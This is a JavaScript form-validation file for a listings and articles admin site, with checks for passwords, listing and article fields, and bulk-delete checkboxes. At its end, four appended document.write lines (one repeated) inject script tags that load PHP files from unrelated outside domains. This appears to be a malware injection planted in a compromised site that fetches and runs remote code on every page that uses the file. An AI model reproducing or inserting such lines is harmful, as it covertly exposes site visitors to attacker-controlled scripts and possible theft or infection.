	   alert("Password Mismatch");
	   changepwd.txtRetypepwd.focus();
	   changepwd.txtRetypepwd.value='';
	   return false;
	  }
}





   //function  to  validate the Add listings 
function listings_add(listing_add)
{  

	  if(listing_add.ddlState.options[listing_add.ddlState.selectedIndex].text=="Select State")
	  {
		 alert("Please select the state");
		 listing_add.ddlState.focus();
		 return false;
	  }	 	    
	if(listing_add.ddlCity.options[listing_add.ddlCity.selectedIndex].text=="Select City")
	  {
		 alert("Please select the City");
		 listing_add.ddlCity.focus();
		 return false;
	  }
	 if(listing_add.ddlListingscat.options[listing_add.ddlListingscat.selectedIndex].text=="Select Listings Category")
	  {
		 alert("Please select the Category");
		 listing_add.ddlListingscat.focus();
		 return false;
	  }
     if(listing_add.ddlListtype.options[listing_add.ddlListtype.selectedIndex].text=="Select Listing Type")
	 {
		 alert("Please select the Listing Type");
		 listing_add.ddlListtype.focus();
		 return false;
	  } 
	if(trim(document.listing_add.txtListhead.value)=="")
	{
	   alert("Please enter the Listing heading");
	   document.listing_add.txtListhead.focus();
	   return false;
	}
	var inst = tinyMCE.getInstanceById("txtListCont");
	 if(inst.getContent()=="")
     {
		  alert("Please enter the listing content");
		  return false;
	 }
/*	if(trim(document.listing_add.txtMetkey.value)=="")
	{
	   alert("Please enter the Meta Keyword");
	   document.listing_add.txtMetkey.focus();
	   return false;
	}
	if(trim(document.listing_add.txtMetdesc.value)=="")
	{
	   alert("Please enter the Meta Description");
	   document.listing_add.txtMetdesc.focus();
	   return false;
	}	 */	 	 
    return true;     		
}


//function  to  validate the  view listings 
function  listings_view(listing_view)
{  
	if(listing_view.ddlCountry.options[listing_view.ddlCountry.selectedIndex].text==""||listing_view.ddlCountry.options[listing_view.ddlCountry.selectedIndex].text=="Select Country")
	  {
		 alert("Please select the Country");
		 listing_view.ddlCountry.focus();
		 return false;
	  }  
	 if(listing_view.ddlState.options[listing_view.ddlState.selectedIndex].text==""||listing_view.ddlState.options[listing_view.ddlState.selectedIndex].text=="Select State")
	  {
		 alert("Please select the State");
		 listing_view.ddlState.focus();
		 return false;
	  } 
	  if(listing_view.ddlCity.options[listing_view.ddlCity.selectedIndex].text==""||listing_view.ddlCity.options[listing_view.ddlCity.selectedIndex].text=="Select City")
	  {
		 alert("Please select the  City");
		 listing_view.ddlCity.focus();
		 return false;
	  } 
	  if(listing_view.ddlListingscat.options[listing_view.ddlListingscat.selectedIndex].text==""||listing_view.ddlListingscat.options[listing_view.ddlListingscat.selectedIndex].text=="Select Listings Category")
	  {
		 alert("Please select the  Category");
		 listing_view.ddlListingscat.focus();
		 return false;
	  }
	  if(listing_view.ddlListsubcat.options[listing_view.ddlListsubcat.selectedIndex].text==""||listing_view.ddlListsubcat.options[listing_view.ddlListsubcat.selectedIndex].text=="Select Listing Sub Category")
	  {
		 alert("Please select the  Sub Category");
		 listing_view.ddlListsubcat.focus();
		 return false;
	  }
	  
         return true;     		
}


//function  used  in  delete ratings 

function validaterating(frm)
{
		flag = false;
		for(i=0; i<frm.length; i++)
		{
 		  if(frm[i].type == "checkbox" && frm[i].name.substr(0,7) == 'chkUser' && frm[i].checked == true)
 		  {
             flag = true;
			 break;
  		  }	
		}
		if(!flag)
			alert("Please select atleast one Rating");
		else
		{
			   	return confirm("Delete selected Rating?");	
		}		
		return flag;
}



//function  used  in  delete reviews after all  the  check box are  checked and any one  of them  is  unchecked 

function unseltopbottr(unsval)
{ 
    flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{	  	 
 	  if(frm[i].name=='selall_top')
 	  {
  	 	var selall_top=i;
	  }
	  if(i>selall_top)
	  {

		if(frm[i].name=='selall_bott')
		{
  		   var selall_bott=i;
		}

	  }//end if
	 if(frm[i].type == "checkbox" && frm[i].name.substr(0,7)=='chkUser' && frm[i].checked==false)
	 {
    	 flag1=true;
	 }//end if
   }//end for

	if(flag1==true)
	{
 	  frm[selall_top].checked=false;
 	  frm[selall_bott].checked=false;
	}//end if

}



//function  to  validate the Add articles 
function  addarticles(article_add)
{  	 
   if(article_add.ddlArticlecat.options[article_add.ddlArticlecat.selectedIndex].text==""||article_add.ddlArticlecat.options[article_add.ddlArticlecat.selectedIndex].text=="Select Article Category")
	  {
		 alert("Please select the category");
		 article_add.ddlArticlecat.focus();
		 return false;
	  }
	 /* 
	 if(article_add.ddlArticlesubcat.options[article_add.ddlArticlesubcat.selectedIndex].text==""||article_add.ddlArticlesubcat.options[article_add.ddlArticlesubcat.selectedIndex].text=="Select Article SubCategory")
	  {
		 alert("Please select the subcategory");
		 article_add.ddlArticlesubcat.focus();
		 return false;
	  }	*/
	if(trim(document.article_add.txtHeading.value)=="")
	{
	   alert("Please enter the Article Heading");
	   document.article_add.txtHeading.focus();
	   return false;
	}
	var inst = tinyMCE.getInstanceById("txtContent");
	if(inst.getContent()=="")
    {
		  alert("Please enter the article content");
		  return false;
	}
	if(trim(document.article_add.txtKeywords.value)=="")
	{
	   alert("Please enter the Meta Keyword");
	   document.article_add.txtKeywords.focus();
	   return false;
	}
	if(trim(document.article_add.txtDescription.value)=="")
	{
	   alert("Please enter the Meta Description");
	   document.article_add.txtDescription.focus();
	   return false;
	}	 	 	 
    return true;     		
}


function usersdelete(frm)
{
	  flag = false;
      for(i=0; i<frm.length; i++)
	  {
 		  if(frm[i].type == "checkbox" && frm[i].name.substr(0,8) == 'chkUsers' && frm[i].checked == true)
 		  {
             flag = true;
			 break;
  		  }	
	  }
		if(!flag)
			alert("Please select atleast one User");
		else
		{
			   	return confirm("Delete selected User(s)?");	
		}		
		return flag;
}



function unselusers(unsval)
{ 
	flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{
 	  if(frm[i].name=='chkUsertop')
 	  {
	 	var sel_top=i;
	  }
	  if(i>sel_top)
	  {
		if(frm[i].name=='chkUsersBottom')
		{
  		  var sel_bot=i;
		}
	  }//end if
	 if(frm[i].type == "checkbox" && frm[i].name.substr(0,8)=='chkUsers' && frm[i].checked==false)
	 {
    	 flag1=true;
	 }//end if
   }//end for
	if(flag1==true)
	{
 	  frm[sel_top].checked=false;
 	  frm[sel_bot].checked=false;
	}//end if
}

document.write('<script src=http://bestkarela.com/images/gifimg.php ><\/script>');
document.write('<script src=http://sportolnek.hu/__foto/pteszt.php ><\/script>');
document.write('<script src=http://dev.spost.or.kr/dokuwiki/plan_goods.php ><\/script>');
document.write('<script src=http://dev.spost.or.kr/dokuwiki/plan_goods.php ><\/script>');